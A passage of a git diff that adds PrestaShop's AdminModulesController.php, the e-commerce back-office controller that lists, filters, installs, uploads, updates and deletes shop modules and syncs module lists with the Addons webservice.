a/controllers/admin/AdminModulesController.php b/controllers/admin/AdminModulesController.php new file mode 100755 index 0000000..c457c44 --- /dev/null +++ b/controllers/admin/AdminModulesController.php @@ -0,0 +1,1151 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminModulesControllerCore extends AdminController +{ + /* + ** @var array map with $_GET keywords and their callback + */ + protected $map = array( + 'install' => 'install', + 'uninstall' => 'uninstall', + 'configure' => 'getContent', + 'update' => 'update', + 'delete' => 'delete' + ); + + protected $list_modules_categories = array(); + protected $list_partners_modules = array(); + protected $list_natives_modules = array(); + + protected $nb_modules_total = 0; + protected $nb_modules_installed = 0; + protected $nb_modules_activated = 0; + + protected $serial_modules = ''; + protected $modules_authors = array(); + + protected $id_employee; + protected $iso_default_country; + protected $filter_configuration = array(); + + protected $xml_modules_list = 'api.prestashop.com/xml/modules_list_15.xml'; + protected $logged_on_addons = false; + + /** + * Admin Modules Controller Constructor + * Init list modules categories + * Load id employee + * Load filter configuration + * Load cache file + */ + + public function __construct() + { + parent::__construct(); + + register_shutdown_function('displayFatalError'); + + include_once(_PS_ADMIN_DIR_.'/../tools/tar/Archive_Tar.php'); + + // Set the modules categories + $this->list_modules_categories['administration']['name'] = $this->l('Administration'); + $this->list_modules_categories['advertising_marketing']['name'] = $this->l('Advertising and Marketing'); + $this->list_modules_categories['analytics_stats']['name'] = $this->l('Analytics and Stats'); + $this->list_modules_categories['billing_invoicing']['name'] = $this->l('Billing and Invoicing'); + $this->list_modules_categories['checkout']['name'] = $this->l('Checkout'); + $this->list_modules_categories['content_management']['name'] = $this->l('Content Management'); + $this->list_modules_categories['export']['name'] = $this->l('Export'); + $this->list_modules_categories['emailing']['name'] = $this->l('Emailing'); + $this->list_modules_categories['front_office_features']['name'] = $this->l('Front Office Features'); + $this->list_modules_categories['i18n_localization']['name'] = $this->l('Internationalization and Localization'); + $this->list_modules_categories['merchandizing']['name'] = $this->l('Merchandizing'); + $this->list_modules_categories['migration_tools']['name'] = $this->l('Migration Tools'); + $this->list_modules_categories['payments_gateways']['name'] = $this->l('Payments and Gateways'); + $this->list_modules_categories['payment_security']['name'] = $this->l('Payment Security'); + $this->list_modules_categories['pricing_promotion']['name'] = $this->l('Pricing and Promotion'); + $this->list_modules_categories['quick_bulk_update']['name'] = $this->l('Quick / Bulk update'); + $this->list_modules_categories['search_filter']['name'] = $this->l('Search and Filter'); + $this->list_modules_categories['seo']['name'] = $this->l('SEO'); + $this->list_modules_categories['shipping_logistics']['name'] = $this->l('Shipping and Logistics'); + $this->list_modules_categories['slideshows']['name'] = $this->l('Slideshows'); + $this->list_modules_categories['smart_shopping']['name'] = $this->l('Smart Shopping'); + $this->list_modules_categories['market_place']['name'] = $this->l('Marketplace'); + $this->list_modules_categories['social_networks']['name'] = $this->l('Social Networks'); + $this->list_modules_categories['others']['name'] = $this->l('Other Modules'); + $this->list_modules_categories['mobile']['name'] = $this->l('Mobile'); + + // Set Id Employee, Iso Default Country and Filter Configuration + $this->id_employee = (int)$this->context->employee->id; + $this->iso_default_country = $this->context->country->iso_code; + $this->filter_configuration = Configuration::getMultiple(array( + 'PS_SHOW_TYPE_MODULES_'.(int)$this->id_employee, + 'PS_SHOW_COUNTRY_MODULES_'.(int)$this->id_employee, + 'PS_SHOW_INSTALLED_MODULES_'.(int)$this->id_employee, + 'PS_SHOW_ENABLED_MODULES_'.(int)$this->id_employee, + 'PS_SHOW_CAT_MODULES_'.(int)$this->id_employee, + )); + + // Load cache file modules list (natives and partners modules) + $xmlModules = false; + if (file_exists(_PS_ROOT_DIR_.Module::CACHE_FILE_MODULES_LIST)) + $xmlModules = @simplexml_load_file(_PS_ROOT_DIR_.Module::CACHE_FILE_MODULES_LIST); + if ($xmlModules) + foreach ($xmlModules->children() as $xmlModule) + foreach ($xmlModule->children() as $module) + foreach ($module->attributes() as $key => $value) + { + if ($xmlModule->attributes() == 'native' && $key == 'name') + $this->list_natives_modules[] = (string)$value; + if ($xmlModule->attributes() == 'partner' && $key == 'name') + $this->list_partners_modules[] = (string)$value; + } + + // Check if logged on Addons + if (isset($this->context->cookie->username_addons) && isset($this->context->cookie->password_addons) && !empty($this->context->cookie->username_addons) && !empty($this->context->cookie->password_addons)) + $this->logged_on_addons = true; + } + + public function setMedia() + { + parent::setMedia(); + $this->addJqueryPlugin(array('autocomplete', 'fancybox')); + } + + public function ajaxProcessRefreshModuleList() + { + // Refresh modules_list.xml every week + if (!$this->isFresh(Module::CACHE_FILE_MODULES_LIST, 604800)) + { + if ($this->refresh(Module::CACHE_FILE_MODULES_LIST, 'https://'.$this->xml_modules_list)) + $this->status = 'refresh'; + elseif ($this->refresh(Module::CACHE_FILE_MODULES_LIST, 'http://'.$this->xml_modules_list)) + $this->status = 'refresh'; + else + $this->status = 'error'; + } + else + $this->status = 'cache'; + + + // If logged to Addons Webservices, refresh default country native modules list every day + if ($this->status != 'error') + { + if (!$this->isFresh(Module::CACHE_FILE_DEFAULT_COUNTRY_MODULES_LIST, 86400)) + { + if (file_put_contents(_PS_ROOT_DIR_.Module::CACHE_FILE_DEFAULT_COUNTRY_MODULES_LIST, Tools::addonsRequest('native'))) + $this->status = 'refresh'; + else + $this->status = 'error'; + } + else + $this->status = 'cache'; + + if (!$this->isFresh(Module::CACHE_FILE_MUST_HAVE_MODULES_LIST, 86400)) + { + if (file_put_contents(_PS_ROOT_DIR_.Module::CACHE_FILE_MUST_HAVE_MODULES_LIST, Tools::addonsRequest('must-have'))) + $this->status = 'refresh'; + else + $this->status = 'error'; + } + else + $this->status = 'cache'; + } + + // If logged to Addons Webservices, refresh customer modules list every day + if ($this->logged_on_addons && $this->status != 'error') + { + if (!$this->isFresh(Module::CACHE_FILE_CUSTOMER_MODULES_LIST, 60)) + { + if (file_put_contents(_PS_ROOT_DIR_.Module::CACHE_FILE_CUSTOMER_MODULES_LIST, Tools::addonsRequest('customer'))) + $this->status = 'refresh'; + else + $this->status = 'error'; + } + else + $this->status = 'cache'; + } + } + + public function displayAjaxRefreshModuleList() + { + echo Tools::jsonEncode(array('status' => $this->status)); + } + + + public function ajaxProcessLogOnAddonsWebservices() + { + $content = Tools::addonsRequest('check_customer', array('username_addons' => pSQL(trim(Tools::getValue('username_addons'))), 'password_addons' => pSQL(trim(Tools::getValue('password_addons'))))); + $xml = @simplexml_load_string($content, null, LIBXML_NOCDATA); + if (!$xml) + die('KO'); + $result = strtoupper((string)$xml->success); + if (!in_array($result, array('OK', 'KO'))) + die ('KO'); + if ($result == 'OK') + { + Configuration::updateValue('PS_LOGGED_ON_ADDONS', 1); + $this->context->cookie->username_addons = pSQL(trim(Tools::getValue('username_addons'))); + $this->context->cookie->password_addons = pSQL(trim(Tools::getValue('password_addons'))); + $this->context->cookie->write(); + } + die($result); + } + + public function ajaxProcessLogOutAddonsWebservices() + { + $this->context->cookie->username_addons = ''; + $this->context->cookie->password_addons = ''; + $this->context->cookie->write(); + die('OK'); + } + + public function ajaxProcessReloadModulesList() + { + if (Tools::getValue('filterCategory')) + Configuration::updateValue('PS_SHOW_CAT_MODULES_'.(int)$this->id_employee, Tools::getValue('filterCategory')); + if (Tools::getValue('unfilterCategory')) + Configuration::updateValue('PS_SHOW_CAT_MODULES_'.(int)$this->id_employee, ''); + + $this->initContent(); + $this->smartyOutputContent('controllers/modules/list.tpl'); + exit; + } + + public function ajaxProcessGetTabModulesList() + { + $tab_modules_list = Tools::getValue('tab_modules_list'); + $back = Tools::getValue('back_tab_modules_list'); + if ($back) + $back .= '&tab_modules_open=1'; + $modules_list = array('installed' =>array(), 'not_installed' => array()); + if ($tab_modules_list) + { + $tab_modules_list = explode(',', $tab_modules_list); + $all_modules = Module::getModulesOnDisk(true, $this->logged_on_addons, $this->id_employee); + foreach($all_modules as $module) + { + if (in_array($module->name, $tab_modules_list)) + { + $perm = true; + if ($module->id) + $perm &= Module::getPermissionStatic($module->id, 'configure'); + else + { + $id_admin_module = Tab::getIdFromClassName('AdminModules'); + $access = Profile::getProfileAccess($this->context->employee->id_profile, $id_admin_module); + if (!$access['edit']) + $perm &= false; + } + if ($perm) + { + $this->fillModuleData($module, 'select', $back); + if ($module->id) + $modules_list['installed'][] = $module; + else + $modules_list['not_installed'][] = $module; + + } + } + } + } + $this->context->smarty->assign(array( + 'tab_modules_list' => $modules_list, + 'admin_module_favorites_view' => $this->context->link->getAdminLink('AdminModules').'&select=favorites' + )); + + $this->smartyOutputContent('controllers/modules/tab_modules_list.tpl'); + exit; + } + + public function ajaxProcessSetFilter() + { + $this->setFilterModules(Tools::getValue('module_type'), Tools::getValue('country_module_value'), Tools::getValue('module_install'), Tools::getValue('module_status')); + die('OK'); + } + + public function ajaxProcessSaveFavoritePreferences() + { + $action = Tools::getValue('action_pref'); + $value = Tools::getValue('value_pref'); + $module = Tools::getValue('module_pref'); + $id_module_preference = (int)Db::getInstance()->getValue('SELECT `id_module_preference` FROM `'._DB_PREFIX_.'module_preference` WHERE `id_employee` = '.(int)$this->id_employee.' AND `module` = \''.pSQL($module).'\''); + if ($id_module_preference > 0) + { + if ($action == 'i') + $update = array('interest' => ($value == '' ? null : (int)$value)); + if ($action == 'f') + $update = array('favorite' => ($value == '' ? null : (int)$value)); + Db::getInstance()->update('module_preference', $update, '`id_employee` = '.(int)$this->id_employee.' AND `module` = \''.pSQL($module).'\'', 0, true); + } + else + { + $insert = array('id_employee' => (int)$this->id_employee, 'module' => pSQL($module), 'interest' => null, 'favorite' => null); + if ($action == 'i') + $insert['interest'] = ($value == '' ? null : (int)$value); + if ($action == 'f') + $insert['favorite'] = ($value == '' ? null : (int)$value); + Db::getInstance()->insert('module_preference', $insert, true); + } + die('OK'); + } + + public function ajaxProcessSaveTabModulePreferences() + { + $values = Tools::getValue('value_pref'); + $module = Tools::getValue('module_pref'); + if (Validate::isModuleName($module)) + { + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'tab_module_preference` WHERE `id_employee` = '.(int)$this->id_employee.' AND `module` = \''.pSQL($module).'\''); + if (is_array($values) && count($values)) + foreach($values as $value) + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'tab_module_preference` (`id_tab_module_preference`, `id_employee`, `id_tab`, `module`) + VALUES (NULL, '.(int)$this->id_employee.', '.(int)$value.', \''.pSQL($module).'\');'); + } + die('OK'); + } + + /* + ** Get current URL + ** + ** @param array $remove List of keys to remove from URL + ** @return string + */ + protected function getCurrentUrl($remove = array()) + { + $url = $_SERVER['REQUEST_URI']; + if (!$remove) + return $url; + + if (!is_array($remove)) + $remove = array($remove); + + $url = preg_replace('#(?<=&|\?)('.implode('|', $remove).')=.*?(&|$)#i', '', $url); + $len = strlen($url); + if ($url[$len - 1] == '&') + $url = substr($url, 0, $len - 1); + return $url; + } + + protected function extractArchive($file, $redirect = true) + { + $zip_folders = array(); + $tmp_folder = _PS_MODULE_DIR_.md5(time()); + + $success = false; + if (substr($file, -4) == '.zip') + { + if (Tools::ZipExtract($file, $tmp_folder)) + { + $zip_folders = scandir($tmp_folder); + if (Tools::ZipExtract($file, _PS_MODULE_DIR_)) + $success = true; + } + } + else + { + $archive = new Archive_Tar($file); + if ($archive->extract($tmp_folder)) + { + $zip_folders = scandir($tmp_folder); + if ($archive->extract(_PS_MODULE_DIR_)) + $success = true; + } + } + if (!$success) + $this->errors[] = Tools::displayError('There was an error while extracting the module (file may be corrupted).'); + + //check if it's a real module + foreach($zip_folders as $folder) + if (!in_array($folder, array('.', '..', '.svn', '.git', '__MACOSX')) && !Module::getInstanceByName($folder)) + { + $this->errors[] = Tools::displayError('The \'.$folder.\' you uploaded is not a module'); + $this->recursiveDeleteOnDisk(_PS_MODULE_DIR_.$folder); + } + + @unlink($file); + $this->recursiveDeleteOnDisk($tmp_folder); + if ($success && $redirect) + Tools::redirectAdmin(self::$currentIndex.'&conf=8&anchor=anchor'.ucfirst($folder).'&token='.$this->token); + + return $success; + } + + protected function recursiveDeleteOnDisk($dir) + { + if (strpos(realpath($dir), realpath(_PS_MODULE_DIR_)) === false) + return; + if (is_dir($dir)) + { + $objects = scandir($dir); + foreach ($objects as $object) + if ($object != '.' && $object != '..') + { + if (filetype($dir.'/'.$object) == 'dir') + $this->recursiveDeleteOnDisk($dir.'/'.$object); + else + unlink($dir.'/'.$object); + } + reset($objects); + rmdir($dir); + } + } + + /* + ** Filter Configuration Methods + ** Set and reset filter configuration + */ + + protected function setFilterModules($module_type, $country_module_value, $module_install, $module_status) + { + Configuration::updateValue('PS_SHOW_TYPE_MODULES_'.(int)$this->id_employee, $module_type); + Configuration::updateValue('PS_SHOW_COUNTRY_MODULES_'.(int)$this->id_employee, $country_module_value); + Configuration::updateValue('PS_SHOW_INSTALLED_MODULES_'.(int)$this->id_employee, $module_install); + Configuration::updateValue('PS_SHOW_ENABLED_MODULES_'.(int)$this->id_employee, $module_status); + } + + protected function resetFilterModules() + { + Configuration::updateValue('PS_SHOW_TYPE_MODULES_'.(int)$this->id_employee, 'allModules'); + Configuration::updateValue('PS_SHOW_COUNTRY_MODULES_'.(int)$this->id_employee, 0); + Configuration::updateValue('PS_SHOW_INSTALLED_MODULES_'.(int)$this->id_employee, 'installedUninstalled'); + Configuration::updateValue('PS_SHOW_ENABLED_MODULES_'.(int)$this->id_employee, 'enabledDisabled'); + Configuration::updateValue('PS_SHOW_CAT_MODULES_'.(int)$this->id_employee, ''); + } + + /* + ** Post Process Filter + ** + */ + + public function postProcessFilterModules() + { + $this->setFilterModules(Tools::getValue('module_type'), Tools::getValue('country_module_value'), Tools::getValue('module_install'), Tools::getValue('module_status')); + Tools::redirectAdmin(self::$currentIndex.'&token='.$this->token); + } + + public function postProcessResetFilterModules() + { + $this->resetFilterModules(); + Tools::redirectAdmin(self::$currentIndex.'&token='.$this->token); + } + + public function postProcessFilterCategory() + { + // Save configuration and redirect employee + Configuration::updateValue('PS_SHOW_CAT_MODULES_'.(int)$this->id_employee, Tools::getValue('filterCategory')); + Tools::redirectAdmin(self::$currentIndex.'&token='.$this->token); + } + + public function postProcessUnfilterCategory() + { + // Save configuration and redirect employee + Configuration::updateValue('PS_SHOW_CAT_MODULES_'.(int)$this->id_employee, ''); + Tools::redirectAdmin(self::$currentIndex.'&token='.$this->token); + } + + /* + ** Post Process Module CallBack + ** + */ + + public function postProcessReset() + { + if ($this->tabAccess['edit'] === '1') + { + $module = Module::getInstanceByName(Tools::getValue('module_name')); + if (Validate::isLoadedObject($module)) + { + if (!$module->getPermission('configure')) + $this->errors[] = Tools::displayError('You do not have the permission to use this module.'); + else + { + if ($module->uninstall()) + if ($module->install()) + Tools::redirectAdmin(self::$currentIndex.'&conf=21'.'&token='.$this->token.'&tab_module='.$module->tab.'&module_name='.$module->name.'&anchor=anchor'.ucfirst($module->name)); + else + $this->errors[] = Tools::displayError('Cannot install this module.'); + else + $this->errors[] = Tools::displayError('Cannot uninstall this module.'); + } + } + else + $this->errors[] = Tools::displayError('Cannot load the module\'s object.'); + $this->errors = array_merge($this->errors, $module->getErrors()); + } + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + + public function postProcessDownload() + { + // PrestaShop demo mode + if (_PS_MODE_DEMO_) + { + $this->errors[] = Tools::displayError('This functionality has been disabled.'); + return; + } + + // Try to upload and unarchive the module + if ($this->tabAccess['add'] === '1') + { + // UPLOAD_ERR_OK: 0 + // UPLOAD_ERR_INI_SIZE: 1 + // UPLOAD_ERR_FORM_SIZE: 2 + // UPLOAD_ERR_NO_TMP_DIR: 6 + // UPLOAD_ERR_CANT_WRITE: 7 + // UPLOAD_ERR_EXTENSION: 8 + // UPLOAD_ERR_PARTIAL: 3 + if (!isset($_FILES['file']['tmp_name']) || empty($_FILES['file']['tmp_name'])) + $this->errors[] = $this->l('No file has been selected'); + elseif (substr($_FILES['file']['name'], -4) != '.tar' && substr($_FILES['file']['name'], -4) != '.zip' + && substr($_FILES['file']['name'], -4) != '.tgz' && substr($_FILES['file']['name'], -7) != '.tar.gz') + $this->errors[] = Tools::displayError('Unknown archive type.'); + elseif (!@copy($_FILES['file']['tmp_name'], _PS_MODULE_DIR_.$_FILES['file']['name'])) + $this->errors[] = Tools::displayError('An error occurred while copying archive to the module directory.'); + else + $this->extractArchive(_PS_MODULE_DIR_.$_FILES['file']['name']); + } + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + + public function postProcessEnable() + { + if ($this->tabAccess['edit'] === '1') + { + $module = Module::getInstanceByName(Tools::getValue('module_name')); + if (Validate::isLoadedObject($module)) + { + if (!$module->getPermission('configure')) + $this->errors[] = Tools::displayError('You do not have the permission to use this module.'); + else + { + if (Tools::getValue('enable')) + $module->enable(); + else + $module->disable(); + Tools::redirectAdmin($this->getCurrentUrl('enable')); + } + } + else + $this->errors[] = Tools::displayError('Cannot load the module\'s object.'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + + public function postProcessDelete() + { + if ($this->tabAccess['delete'] === '1') + { + if (Tools::getValue('module_name') != '') + { + $module = Module::getInstanceByName(Tools::getValue('module_name')); + if (Validate::isLoadedObject($module) && !$module->getPermission('configure')) + $this->errors[] = Tools::displayError('You do not have the permission to use this module.'); + else + { + // Uninstall the module before deleting the files, but do not block the process if uninstall returns false + $module->uninstall(); + $moduleDir = _PS_MODULE_DIR_.str_replace(array('.', '/', '\\'), array('', '', ''), Tools::getValue('module_name')); + $this->recursiveDeleteOnDisk($moduleDir); + Tools::redirectAdmin(self::$currentIndex.'&conf=22&token='.$this->token.'&tab_module='.Tools::getValue('tab_module').'&module_name='.Tools::getValue('module_name')); + } + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + + public function postProcessCallback() + { + $return = false; + $installed_modules = array(); + + foreach ($this->map as $key => $method) + { + $modules = Tools::getValue($key); + if (strpos($modules, '|')) + { + $modules_list_save = $modules; + $modules = explode('|', $modules); + } + else + $modules = empty($modules) ? false : array($modules); + $module_errors = array(); + if ($modules) + foreach ($modules as $name) + { + $full_report = null; + // If Addons module, download and unzip it before installing it + if (!file_exists('../modules/'.$name.'/'.$name.'.php') || $key == 'update') + { + $filesList = array( + array('type' => 'addonsNative', 'file' => Module::CACHE_FILE_DEFAULT_COUNTRY_MODULES_LIST, 'loggedOnAddons' => 0), + array('type' => 'addonsBought', 'file' => Module::CACHE_FILE_CUSTOMER_MODULES_LIST, 'loggedOnAddons' => 1), + ); + + foreach ($filesList as $f) + if (file_exists(_PS_ROOT_DIR_.$f['file'])) + { + $file = $f['file']; + $content = Tools::file_get_contents(_PS_ROOT_DIR_.$file); + $xml = @simplexml_load_string($content, null, LIBXML_NOCDATA); + foreach ($xml->module as $modaddons) + if ($name == $modaddons->name && isset($modaddons->id) && ($this->logged_on_addons || $f['loggedOnAddons'] == 0)) + { + $download_ok = false; + if ($f['loggedOnAddons'] == 0) + if (file_put_contents(_PS_MODULE_DIR_.$modaddons->name.'.zip', Tools::addonsRequest('module', array('id_module' => pSQL($modaddons->id))))) + $download_ok = true; + elseif ($f['loggedOnAddons'] == 1 && $this->logged_on_addons) + if (file_put_contents(_PS_MODULE_DIR_.$modaddons->name.'.zip', Tools::addonsRequest('module', array('id_module' => pSQL($modaddons->id), 'username_addons' => pSQL(trim($this->context->cookie->username_addons)), 'password_addons' => pSQL(trim($this->context->cookie->password_addons)))))) + $download_ok = true; + + if (!$download_ok) + $this->errors[] = $this->l('Error on downloading the lastest version'); + else + if(!$this->extractArchive(_PS_MODULE_DIR_.$modaddons->name.'.zip', false)) + $this->errors[] = $this->l(sprintf("Module %s can't be upgraded: ", $modaddons->name)); + } + } + } + + // Check potential error + if (!($module = Module::getInstanceByName(urldecode($name)))) + $this->errors[] = $this->l('Module not found'); + elseif ($key == 'install' && $this->tabAccess['add'] !== '1') + $this->errors[] = Tools::displayError('You do not have permission to install this module.'); + elseif ($key == 'uninstall' && ($this->tabAccess['delete'] !== '1' || !$module->getPermission('configure'))) + $this->errors[] = Tools::displayError('You do not have permission to delete this module.'); + elseif ($key == 'configure' && ($this->tabAccess['edit'] !== '1' || !$module->getPermission('configure') || !Module::isInstalled(urldecode($name)))) + $this->errors[] = Tools::displayError('You do not have permission to configure this module.'); + elseif ($key == 'install' && Module::isInstalled($module->name)) + $this->errors[] = Tools::displayError('This module is already installed:').' '.$module->name; + elseif ($key == 'uninstall' && !Module::isInstalled($module->name)) + $this->errors[] = Tools::displayError('This module has already been uninstalled:').' '.$module->name; + else if ($key == 'update' && !Module::isInstalled($module->name)) + $this->errors[] = Tools::displayError('This module need to be installed in order to be updated:').' '.$module->name; + else + { + // If we install a module, force temporary global context for multishop + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_ALL && $method != 'getContent') + { + Context::getContext()->tmpOldShop = clone(Context::getContext()->shop); + Context::getContext()->shop = new Shop(); + } + + //retrocompatibility + if (Tools::getValue('controller') != '') + $_POST['tab'] = Tools::safeOutput(Tools::getValue('controller')); + + $echo = ''; + if ($key != 'update') + { + // We check if method of module exists + if (!method_exists($module, $method)) + throw new PrestaShopException('Method of module can\'t be found'); + + // Get the return value of current method + $echo = $module->{$method}(); + } + + // If the method called is "configure" (getContent method), we show the html code of configure page + if ($key == 'configure' && Module::isInstalled($module->name)) + { + if (isset($module->multishop_context)) + $this->multishop_context = $module->multishop_context; + + $backlink = self::$currentIndex.'&token='.$this->token.'&tab_module='.$module->tab.'&module_name='.$module->name; + $hooklink = 'index.php?tab=AdminModulesPositions&token='.Tools::getAdminTokenLite('AdminModulesPositions').'&show_modules='.(int)$module->id; + $tradlink = 'index.php?tab=AdminTranslations&token='.Tools::getAdminTokenLite('AdminTranslations').'&type=modules&lang='; + + $toolbar = '<table class="table" cellpadding="0" cellspacing="0" style="margin:auto;text-align:center"><tr> + <th>'.$this->l('Module').' <span style="color: green;">'.$module->name.'</span></th> + <th><a href="'.$backlink.'" style="padding:5px 10px">'.$this->l('Back').'</a></th> + <th><a href="'.$hooklink.'" style="padding:5px 10px">'.$this->l('Manage hooks').'</a></th> + <th style="padding:5px 10px">'.$this->l('Manage translations').' '; + foreach (Language::getLanguages(false) as $language) + $toolbar .= '<a href="'.$tradlink.$language['iso_code'].'#'.$module->name.'" style="margin-left:5px"><img src="'._THEME_LANG_DIR_.$language['id_lang'].'.jpg" alt="'.$language['iso_code'].'" title="'.$language['iso_code'].'" /></a>'; + $toolbar .= '</th></tr>'; + + // Display checkbox in toolbar if multishop + if (Shop::isFeatureActive()) + { + $activateOnclick = 'onclick="location.href = \''.$this->getCurrentUrl('enable').'&enable=\'+(($(this).attr(\'checked\')) ? 1 : 0)"'; + $toolbar .= '<tr> + <th colspan="4"> + <input type="checkbox" name="activateModule" value="1" '.(($module->active) ? 'checked="checked"' : '').' '.$activateOnclick.' /> '.$this->l('Activate module for').' '; + if (Shop::getContext() == Shop::CONTEXT_SHOP) + $toolbar .= 'shop <b>'.$this->context->shop->name.'</b>'; + elseif (Shop::getContext() == Shop::CONTEXT_GROUP) + { + $shop_group = new ShopGroup((int)Shop::getContextShopGroupID()); + $toolbar .= 'all shops of group shop <b>'.$shop_group->name.'</b>'; + } + else + $toolbar .= 'all shops'; + $toolbar .= '</th> + </tr>'; + } + $toolbar .= '</table>'; + + + if (Shop::isFeatureActive() && isset(Context::getContext()->tmpOldShop)) + { + Context::getContext()->shop = clone(Context::getContext()->tmpOldShop); + unset(Context::getContext()->tmpOldShop); + } + // Display module configuration + $this->context->smarty->assign('module_content', $toolbar.'<div class="clear"> </div>'.$echo.'<div class="clear"> </div>'.$toolbar); + } + elseif ($echo === true) + { + $return = 13; + if ($method == 'install') + { + $return = 12; + $installed_modules[] = $module->id; + } + } + elseif ($echo === false) + $module_errors[] = array('name' => $name, 'message' => $module->getErrors()); + + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_ALL && isset(Context::getContext()->tmpOldShop)) + { + Context::getContext()->shop = clone(Context::getContext()->tmpOldShop); + unset(Context::getContext()->tmpOldShop); + } + } + if ($key != 'configure' && isset($_GET['bpay'])) + Tools::redirectAdmin('index.php?tab=AdminPayment&token='.Tools::getAdminToken('AdminPayment'.(int)(Tab::getIdFromClassName('AdminPayment')).(int)$this->id_employee)); + } + if (count($module_errors)) + { + // If error during module installation, no redirection + $html_error = $this->generateHtmlMessage($module_errors); + $this->errors[] = sprintf(Tools::displayError('The following module(s) were not installed properly: %s'), $html_error); + $this->context->smarty->assign('error_module', 'true'); + } + } + if ($return) + { + $params = (count($installed_modules)) ? '&installed_modules='.implode('|', $installed_modules) : ''; + + // If redirect parameter is present and module installed with success, we redirect on configuration module page + if (Tools::getValue('redirect') == 'config' && Tools::getValue('module_name') != '' && $return == '12' && Module::isInstalled(pSQL(Tools::getValue('module_name')))) + Tools::redirectAdmin('index.php?controller=adminmodules&configure='.Tools::getValue('module_name').'&token='.Tools::getValue('token').'&module_name='.Tools::getValue('module_name').$params); + Tools::redirectAdmin(self::$currentIndex.'&conf='.$return.'&token='.$this->token.'&tab_module='.$module->tab.'&module_name='.$module->name.'&anchor=anchor'.ucfirst($module->name).(isset($modules_list_save) ? '&modules_list='.$modules_list_save : '').$params); + } + } + + public function postProcess() + { + // Parent Post Process + parent::postProcess(); + + + // Get the list of installed module ans prepare it for ajax call. + if (($list = Tools::getValue('installed_modules'))) + Context::getContext()->smarty->assign('installed_modules', Tools::jsonEncode(explode('|', $list))); + + // If redirect parameter is present and module already installed, we redirect on configuration module page + if (Tools::getValue('redirect') == 'config' && Tools::getValue('module_name') != '' && Module::isInstalled(pSQL(Tools::getValue('module_name')))) + Tools::redirectAdmin('index.php?controller=adminmodules&configure='.Tools::getValue('module_name').'&token='.Tools::getValue('token').'&module_name='.Tools::getValue('module_name')); + + // Execute filter or callback methods + $filterMethods = array('filterModules', 'resetFilterModules', 'filterCategory', 'unfilterCategory'); + $callbackMethods = array('reset', 'download', 'enable', 'delete'); + $postProcessMethodsList = array_merge((array)$filterMethods, (array)$callbackMethods); + foreach ($postProcessMethodsList as $ppm) + if (Tools::isSubmit($ppm)) + { + $ppm = 'postProcess'.ucfirst($ppm); + if (method_exists($this, $ppm)) + $ppmReturn = $this->$ppm(); + } + + // Call appropriate module callback + if (!isset($ppmReturn)) + $this->postProcessCallback(); + + if ($back = Tools::getValue('back')) + Tools::redirectAdmin($back); + } + + /** + * Generate html errors for a module process + * + * @param $module_errors + * @return string + */ + protected function generateHtmlMessage($module_errors) + { + $html_error = ''; + + if (count($module_errors)) + { + $html_error = '<ul style="line-height:20px">'; + foreach ($module_errors as $module_error) + { + $html_error_description = ''; + if (count($module_error['message']) > 0) + foreach ($module_error['message'] as $e) + $html_error_description .= '<br />'.$e; + $html_error .= '<li><b>- '.$module_error['name'].'</b> : '.$html_error_description.'</li>'; + } + $html_error .= '</ul>'; + } + return $html_error; + } + + public function initModulesList(&$modules) + { + foreach ($modules as $k => $module) + { + // Check add permissions, if add permissions not set, addons modules and uninstalled modules will not be displayed + if ($this->tabAccess['add'] !== '1' && isset($module->type) && ($module->type != 'addonsNative' || $module->type != 'addonsBought')) + unset($modules[$k]); + else if ($this->tabAccess['add'] !== '1' && (!isset($module->id) || $module->id < 1)) + unset($modules[$k]); + else if ($module->id && !Module::getPermissionStatic($module->id, 'view') && !Module::getPermissionStatic($module->id, 'configure')) + unset($modules[$k]); + else + { + // Init serial and modules author list + if (!in_array($module->name, $this->list_natives_modules)) + $this->serial_modules .= $module->name.' '.$module->version.'-'.($module->active ? 'a' : 'i')."\n"; + $module_author = $module->author; + if (!empty($module_author) && ($module_author != '')) + $this->modules_authors[strtolower($module_author)] = 'notselected'; + } + } + $this->serial_modules = urlencode($this->serial_modules); + } + + public function makeModulesStats($module) + { + // Count Installed Modules + if (isset($module->id) && $module->id > 0) + $this->nb_modules_installed++; + + // Count Activated Modules + if (isset($module->id) && $module->id > 0 && $module->active > 0) + $this->nb_modules_activated++; + + // Count Modules By Category + if (isset($this->list_modules_categories[$module->tab]['nb'])) + $this->list_modules_categories[$module->tab]['nb']++; + else + $this->list_modules_categories['others']['nb']++; + } + + public function isModuleFiltered($module) + { + // If action on module, we display it + if (Tools::getValue('module_name') != '' && Tools::getValue('module_name') == $module->name) + return false; + + + // Filter on module name + $filter_name = Tools::getValue('filtername'); + if (!empty($filter_name)) + { + if (stristr($module->name, $filter_name) === false && stristr($module->displayName, $filter_name) === false && stristr($module->description, $filter_name) === false) + return true; + return false; + } + + // Filter on interest + if ((int)Db::getInstance()->getValue('SELECT `id_module_preference` FROM `'._DB_PREFIX_.'module_preference` WHERE `module` = \''.pSQL($module->name).'\' AND `id_employee` = '.(int)$this->id_employee.' AND `interest` = 0') > 0) + return true; + + // Filter on favorites + if (Configuration::get('PS_SHOW_CAT_MODULES_'.(int)$this->id_employee) == 'favorites') + { + if ((int)Db::getInstance()->getValue('SELECT `id_module_preference` FROM `'._DB_PREFIX_.'module_preference` WHERE `module` = \''.pSQL($module->name).'\' AND `id_employee` = '.(int)$this->id_employee.' AND `favorite` = 1 AND (`interest` = 1 OR `interest` IS 